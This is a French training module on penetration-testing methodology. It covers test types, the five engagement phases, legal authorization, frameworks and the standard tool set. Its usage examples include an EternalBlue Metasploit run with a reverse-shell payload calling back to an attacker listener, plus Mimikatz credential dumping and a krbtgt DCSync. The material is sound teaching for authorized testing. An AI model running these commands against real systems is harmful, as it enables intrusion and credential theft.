Methodologie de Pentest
Du cadrage legal a la redaction du rapport final : maitrise le cycle complet d'un test d'intrusion professionnel. Ce module couvre les phases, les frameworks, les outils et les bonnes pratiques du pentester sur le terrain.
- Comprendre les differents types de tests d'intrusion et leurs contextes d'application
- Maitriser les 5 phases du cycle de pentest : pre-engagement, recon, exploitation, post-exploitation, reporting
- Connaitre le cadre legal et les regles d'engagement (ROE)
- Savoir utiliser les principaux frameworks (PTES, OWASP, NIST, MITRE ATT&CK)
- Pratiquer avec les outils essentiels du pentester (Nmap, Metasploit, Burp Suite, etc.)
šÆ T2.1 ā Qu'est-ce qu'un test d'intrusion ?
Un test d'intrusion (pentest) est une simulation controlee d'attaque informatique realisee par un professionnel autorise. L'objectif est d'identifier les vulnerabilites exploitables dans un systeme, un reseau ou une application avant qu'un attaquant reel ne le fasse.
Imagine que tu es proprietaire d'une banque. Plutot que d'attendre qu'un vrai cambrioleur teste tes defenses, tu embauches un expert en securite pour qu'il tente de s'introduire dans ton coffre-fort. Il utilise les memes techniques qu'un criminel, mais dans un cadre legal et controle. A la fin, il te remet un rapport detaillant chaque faille trouvee et comment la corriger. C'est exactement ce que fait un pentester.
Les 3 types de pentest
Le type de pentest est defini par le niveau d'information fourni au testeur avant la mission :
| Type | Informations fournies | Simule | Avantages | Inconvenients |
|---|---|---|---|---|
| Black Box | Aucune information (uniquement le nom de la cible) | Un attaquant externe sans connaissance prealable | Le plus realiste ; teste la surface d'attaque reelle | Plus long et couteux ; couverture potentiellement incomplete |
| Grey Box | Informations partielles (credentials utilisateur, architecture reseau, documentation) | Un attaquant ayant un acces initial ou un employe malveillant | Bon compromis couverture/realisme ; le plus courant en entreprise | Moins realiste qu'un black box pour les menaces externes |
| White Box | Acces complet (code source, schemas reseau, comptes admin, documentation complete) | Un auditeur avec transparence totale | Couverture maximale ; identifie les failles profondes | Moins realiste ; ne teste pas la detection |
Pentest vs Bug Bounty vs Red Team
Ces trois approches sont souvent confondues. Voici leurs differences fondamentales :
| Critere | Pentest | Bug Bounty | Red Team |
|---|---|---|---|
| Duree | 1 a 4 semaines (mission definie) | Continu (programme permanent) | 2 a 6 mois (campagne longue) |
| Scope | Perimetre precis et delimite | Perimetre defini mais souvent large | L'organisation entiere (physique + numerique + humain) |
| Objectif | Trouver un maximum de vulnerabilites dans le scope | Trouver des bugs specifiques (recompense par bug) | Simuler une attaque APT realiste, tester les defenses globales |
| Testeurs | 1 a 3 pentesters de l'entreprise de securite mandatee | Communaute de chercheurs independants (des centaines) | Equipe specialisee et pluridisciplinaire |
| Connaissance de la Blue Team | Generalement informee | Informee (programme public) | Non informee (test des capacites de detection) |
| Livrable | Rapport detaille avec remediations | Rapport par bug soumis via plateforme | Rapport narratif de la campagne + recommandations strategiques |
| Cout | 5 000 - 50 000 EUR par mission | Paiement par bug valide (50 - 50 000 EUR+) | 50 000 - 200 000 EUR+ par campagne |
š T2.2 ā Le cycle du pentest (5 phases)
Tout test d'intrusion professionnel suit un cycle structure en 5 phases. Chaque phase est essentielle et alimente la suivante. Sauter une phase compromet la qualite de l'ensemble.
Cadrage de la mission : scope, ROE, legal, planning, livrables attendus.
Collecte d'informations passive et active sur la cible : OSINT, scan, enumeration.
Exploitation des vulnerabilites identifiees pour obtenir un acces initial.
Pivoting, escalade de privileges, persistence, exfiltration de donnees.
Redaction du rapport : resume executif, details techniques, remediations.
Detail de chaque phase
Phase 1 ā Pre-engagement
La phase de pre-engagement definit le cadre contractuel et technique de la mission. Sans elle, le pentest est illegal.
- Scope (perimetre) : quels systemes, reseaux, applications sont inclus et exclus
- Rules of Engagement (ROE) : horaires autorises, techniques interdites (DoS, social engineering...), contacts d'urgence
- Autorisation legale : lettre de mission signee par le responsable legal de l'organisation
- NDA : accord de confidentialite reciproque
- Planning : dates de debut/fin, jalons, points de contact
- Livrables : format du rapport, presentation des resultats, re-test apres remediations
Phase 2 ā Reconnaissance
La phase de reconnaissance consiste a collecter un maximum d'informations sur la cible pour identifier les surfaces d'attaque potentielles.
Reconnaissance passive (OSINT)
- DNS : whois, records DNS (A, MX, TXT, NS), transfert de zone
- Google Dorks : site:cible.com filetype:pdf, inurl:admin, intitle:login
- Reseaux sociaux : LinkedIn (employes, technologies), GitHub (fuites de code/credentials)
- Shodan / Censys : services exposes sur Internet
- Certificats SSL : crt.sh pour decouvrir des sous-domaines
- Wayback Machine : pages archivees, anciennes configurations
Reconnaissance active
- Nmap : scan de ports, detection de services et de versions
- Enumeration : DNS brute-force, directory fuzzing (Gobuster, Ffuf)
- Banner grabbing : identification des technologies et versions
- Scan de vulnerabilites : Nessus, OpenVAS pour identifier les failles connues
Phase 3 ā Exploitation
L'exploitation consiste a utiliser les vulnerabilites identifiees pour obtenir un acces non autorise au systeme cible.
- Exploitation de services : RCE, injection SQL, file upload, deserialization
- Exploitation web : XSS, CSRF, SSRF, IDOR, authentication bypass
- Credential attacks : brute-force, password spraying, credential stuffing
- Exploitation reseau : man-in-the-middle, ARP spoofing, relay attacks (NTLM)
- Social engineering : phishing, pretexting (si autorise dans les ROE)
Outils principaux : Metasploit Framework, Burp Suite, SQLMap, Responder, CrackMapExec.
Phase 4 ā Post-exploitation
Apres l'acces initial, le pentester cherche a etendre son emprise sur le systeme d'information pour demontrer l'impact reel d'une compromission.
- Escalade de privileges : passer de user a admin/root (kernel exploits, misconfigurations, SUID)
- Pivoting : utiliser la machine compromise pour atteindre d'autres segments reseau
- Lateral movement : se deplacer vers d'autres machines (Pass-the-Hash, PSExec, WinRM)
- Persistence : installer des backdoors, creer des comptes, taches planifiees (si autorise)
- Collecte de donnees : extraction de credentials (Mimikatz), donnees sensibles, preuves d'impact
- Domain dominance : compromettre le Domain Controller (DCSync, Golden Ticket)
Phase 5 ā Reporting
Le rapport est le livrable le plus important du pentest. Un pentest sans bon rapport ne sert a rien. Le rapport doit etre exploitable par les equipes techniques ET la direction.
Structure type d'un rapport de pentest :
- Resume executif : synthese non technique pour la direction (1-2 pages), niveau de risque global, constats majeurs
- Scope et methodologie : perimetre teste, approche utilisee, outils, dates
- Resultats detailles : chaque vulnerabilite avec titre, description, CVSS, preuve d'exploitation (screenshots), impact business
- Remediations : corrections recommandees pour chaque vulnlrabilite, priorisees par criticite
- Annexes : logs complets, sorties d'outils, details techniques approfondis
āļø T2.3 ā Pre-engagement et cadre legal
Le pre-engagement est la phase la plus importante du pentest sur le plan legal et contractuel. Un pentest mal cadre peut avoir des consequences juridiques graves pour le pentester comme pour le client.
Definition du scope
Le scope definit precisement ce qui est dans et hors du perimetre du test :
Elements typiquement In Scope
- Plages d'adresses IP specifiques (ex : 10.0.1.0/24, 192.168.10.0/24)
- Noms de domaines et sous-domaines (ex : *.client.com)
- Applications web specifiques (ex : https://app.client.com)
- Comptes de test fournis (grey box / white box)
- Segments reseau definis (DMZ, reseau interne specifique)
- Plages horaires autorisees (ex : 22h-6h pour eviter l'impact production)
Elements typiquement Out of Scope
- Infrastructure tierce (hebergeurs cloud partages, CDN, prestataires)
- Systemes de production critiques (SCADA, systemes medicaux)
- Attaques par deni de service (DoS/DDoS)
- Social engineering physique (sauf autorisation explicite)
- Systemes d'autres clients (environnements mutualises)
- Destruction ou modification de donnees de production
Rules of Engagement (ROE)
Les regles d'engagement definissent le comment du pentest :
- Techniques autorisees : scan de ports, exploitation, brute-force (avec limites de tentatives)
- Techniques interdites : DoS, destruction de donnees, acces aux donnees personnelles reelles
- Horaires : creneaux autorises, periodes de gel (ex : pas pendant les soldes pour un e-commerce)
- Communication : contacts d'urgence, frequence des points d'avancement
- Stockage des donnees : chiffrement obligatoire, destruction des donnees post-mission
- Procedure d'escalade : que faire si une vulnerabilite critique est trouvee pendant le test
Cadre legal
Le cadre legal d'un pentest repose sur plusieurs documents essentiels :
- Lettre de mission / Statement of Work (SOW) : description detaillee de la mission, scope, methodologie, livrables, tarification
- Authorization Letter (Get Out of Jail Free card) : autorisation formelle du proprietaire du systeme, identifiant le pentester et le perimetre autorise
- NDA (Non-Disclosure Agreement) : accord de confidentialite reciproque protegant les informations sensibles decouvertes
- Master Service Agreement (MSA) : contrat-cadre definissant la responsabilite civile, les assurances, la limitation de responsabilite
Livrables et timeline
| Phase | Livrable | Destinataire | Delai typique |
|---|---|---|---|
| Pre-engagement | SOW signe, NDA, lettre d'autorisation | Direction + Legal | 1-2 semaines avant le test |
| Pendant le test | Alertes critiques immediates (vulnerabilites CVSS 9.0+) | RSSI / Contact technique | Sous 24h apres decouverte |
| Rapport preliminaire | Draft du rapport pour validation des faits | Equipe technique | 3-5 jours apres la fin du test |
| Rapport final | Rapport complet (executif + technique + remediations) | Direction + Technique | 7-10 jours apres la fin du test |
| Re-test | Verification des corrections appliquees | Equipe technique | 30-90 jours apres le rapport |
š T2.4 ā Frameworks et standards
Les frameworks de pentest fournissent une methodologie structuree et reproductible. Ils garantissent la qualite et la completude de l'audit en suivant des processus eprouves.
PTES ā Penetration Testing Execution Standard
Le standard de reference pour les tests d'intrusion. Il definit 7 phases :
- Pre-engagement Interactions : scope, ROE, questionnaires, autorisations
- Intelligence Gathering : OSINT, recon passive et active
- Threat Modeling : identification des actifs de valeur et des vecteurs d'attaque probables
- Vulnerability Analysis : identification et validation des vulnerabilites
- Exploitation : exploitation des vulnerabilites confirmees
- Post-Exploitation : evaluation de l'impact reel sur le business
- Reporting : documentation complete des resultats
Usage : framework generaliste applicable a tous types de pentest (reseau, web, mobile, physique).
OWASP Testing Guide
Guide specifique pour le test de securite des applications web. La version 4.2 couvre 91 controles de test repartis en categories :
- Information Gathering : fingerprinting, decouverte de contenu cache
- Configuration Management : TLS, headers HTTP, gestion des erreurs
- Identity Management : enumeration des utilisateurs, politique de mots de passe
- Authentication : bypass d'authentification, brute-force, credential stuffing
- Authorization : IDOR, escalade de privileges, directory traversal
- Session Management : fixation de session, prediction de tokens
- Input Validation : XSS, SQL Injection, command injection, SSRF
- Error Handling : messages d'erreur verbeux, stack traces
- Cryptography : algorithmes faibles, mauvaise implementation
- Business Logic : contournement des workflows, race conditions
Usage : incontournable pour tout pentest web. Complemente le OWASP Top 10.
NIST SP 800-115 ā Technical Guide to Information Security Testing
Guide du NIST (National Institute of Standards and Technology) couvrant les techniques d'evaluation de securite :
- Review Techniques : revue de documentation, logs, rulesets, configurations
- Target Identification and Analysis : decouverte reseau, scan de ports, scan de vulnerabilites
- Target Vulnerability Validation : password cracking, penetration testing, social engineering
- Security Assessment Planning : politique, coordination, logistique
- Security Assessment Execution : conduite du test, gestion des incidents, communication
- Post-Testing Activities : remediation, reporting, retention des donnees
Usage : reference pour les organisations gouvernementales (US) et les audits de conformite. Souvent cite dans les appels d'offres.
MITRE ATT&CK pour les pentesters
La matrice ATT&CK n'est pas un framework de pentest en soi, mais elle est devenue un langage commun pour decrire les techniques d'attaque :
- Reconnaissance : T1595 (Active Scanning), T1593 (Search Open Websites)
- Initial Access : T1190 (Exploit Public-Facing Application), T1566 (Phishing)
- Execution : T1059 (Command and Scripting Interpreter), T1053 (Scheduled Task)
- Persistence : T1547 (Boot or Logon Autostart), T1136 (Create Account)
- Privilege Escalation : T1068 (Exploitation for Privilege Escalation)
- Credential Access : T1003 (OS Credential Dumping ā Mimikatz)
- Lateral Movement : T1021 (Remote Services), T1550 (Use Alternate Authentication)
- Exfiltration : T1041 (Exfiltration Over C2 Channel)
Usage : mapper les techniques utilisees lors d'un pentest aux tactiques ATT&CK dans le rapport final. Permet a la Blue Team de verifier sa couverture de detection.
Comparaison des frameworks
| Framework | Focus | Public cible | Forces | Limites |
|---|---|---|---|---|
| PTES | Pentest generaliste | Pentesters, auditeurs | Complet, structurant, standard de l'industrie | Moins detaille sur le web specifiquement |
| OWASP Testing Guide | Securite des applications web | Pentesters web, developpeurs | 91 controles detailles, test cases concrets | Limite aux applications web |
| NIST SP 800-115 | Evaluation de securite globale | Organisations gouvernementales, auditeurs | Cadre methodologique rigoureux, reconnu internationalement | Moins pratique/operationnel que PTES |
| MITRE ATT&CK | Taxonomie des techniques d'attaque | Red Team, Blue Team, SOC | Langage commun attaque/defense, constamment mis a jour | Ce n'est pas un framework de pentest a proprement parler |
š§° T2.5 ā Outils du pentester
Le pentester utilise un arsenal d'outils specialises pour chaque phase de la mission. Connaitre ses outils, c'est maitriser son metier.
Outils par phase
| Phase | Outil | Description | Type |
|---|---|---|---|
| Reconnaissance | Nmap |
Scan de ports, detection de services et OS | Open source |
Shodan |
Moteur de recherche d'appareils connectes a Internet | Freemium | |
Amass |
Enumeration de sous-domaines et cartographie DNS | Open source | |
theHarvester |
Collecte d'emails, sous-domaines, IPs depuis des sources publiques | Open source | |
Gobuster / Ffuf |
Brute-force de repertoires et fichiers web | Open source | |
Nikto |
Scanner de vulnerabilites pour serveurs web | Open source | |
| Exploitation | Metasploit Framework |
Plateforme d'exploitation avec 2000+ modules | Open source / Pro |
Burp Suite |
Proxy d'interception et test d'applications web | Freemium | |
SQLMap |
Detection et exploitation automatique d'injections SQL | Open source | |
Responder |
Empoisonnement LLMNR/NBT-NS pour capturer des credentials NTLM | Open source | |
CrackMapExec |
Exploitation et enumeration Active Directory | Open source | |
| Post-exploitation | Mimikatz |
Extraction de credentials Windows (hashes, tickets Kerberos) | Open source |
BloodHound |
Cartographie des chemins d'attaque Active Directory | Open source | |
Cobalt Strike |
Plateforme de post-exploitation et C2 (Command & Control) | Commercial | |
LinPEAS / WinPEAS |
Scripts d'enumeration automatique pour escalade de privileges | Open source | |
Impacket |
Collection de scripts Python pour protocoles reseau (SMB, LDAP, Kerberos) | Open source | |
| Reporting | Dradis |
Plateforme collaborative de gestion de rapports de pentest | Open source / Pro |
Pwndoc |
Generateur de rapports de pentest avec templates | Open source | |
SysReptor |
Plateforme cloud de reporting avec collaboration en temps reel | Open source |
Kali Linux ā La distribution du pentester
Kali Linux est la distribution Linux de reference pour le pentest. Basee sur Debian, elle integre plus de 600 outils pre-installes et configures, organises par categorie.
- Information Gathering : Nmap, Recon-ng, Maltego
- Vulnerability Analysis : Nessus, OpenVAS, Nikto
- Web Application Analysis : Burp Suite, ZAP, SQLMap
- Password Attacks : John the Ripper, Hashcat, Hydra
- Exploitation Tools : Metasploit, SearchSploit, Commix
- Sniffing & Spoofing : Wireshark, Responder, Bettercap
- Post-Exploitation : Mimikatz, Empire, Covenant
Exemples d'utilisation
# Scan rapide des 1000 ports les plus courants
nmap -sV -sC -oN scan_initial.txt 192.168.1.0/24
# Scan complet de tous les ports TCP
nmap -p- -sV -sC -oA scan_complet 10.10.10.50
# Scan UDP des ports courants
nmap -sU --top-ports 50 -sV 10.10.10.50
# Scan furtif (SYN scan) avec detection d'OS
nmap -sS -O -T3 10.10.10.50
# Brute-force de repertoires
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Enumeration de sous-domaines (vhost)
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Fuzzing de fichiers avec extensions
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,old
# Lancer Metasploit
msfconsole
# Chercher un exploit
msf6> search eternalblue
# Selectionner et configurer l'exploit
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.10.50
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue)> run
# Depuis Meterpreter apres escalade de privileges
meterpreter> load kiwi
meterpreter> creds_all
# Ou directement avec Mimikatz
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# DCSync pour extraire le hash du compte krbtgt
mimikatz# lsadump::dcsync /user:DOMAIN\krbtgt
š¬ T2.6 ā Lab : Simulation de pre-engagement
Mets-toi dans la peau d'un pentester qui demarre une mission. Utilise les outils de reconnaissance pour collecter des informations sur la cible et preparer ta strategie d'attaque.
Exercice : associe chaque phase a ses activites
š T2.7 ā Quiz de revision
Points cles du Module T2
- Un pentest est une simulation controlee d'attaque realisee avec autorisation legale pour identifier les vulnerabilites exploitables
- Les 3 types de pentest (Black Box, Grey Box, White Box) se distinguent par le niveau d'information fourni au testeur
- Le cycle du pentest comprend 5 phases : pre-engagement, reconnaissance, exploitation, post-exploitation, reporting
- Le pre-engagement est la phase la plus critique : scope, ROE, autorisation legale, NDA ā sans ces documents, le pentest est illegal
- Les principaux frameworks sont PTES (generaliste), OWASP Testing Guide (web), NIST 800-115 (gouvernemental), MITRE ATT&CK (taxonomie des techniques)
- Le pentester utilise des outils specifiques a chaque phase : Nmap (recon), Metasploit (exploit), Mimikatz (post-exploit), Burp Suite (web)
- Kali Linux est la distribution de reference avec 600+ outils pre-installes
- Le rapport est le livrable le plus important : resume executif, details techniques, remediations priorisees
- Toujours documenter chaque action avec des captures d'ecran et horodatages pendant le test
- La difference entre pentest, bug bounty et red team reside dans la duree, le scope, l'objectif et le niveau de connaissance de la Blue Team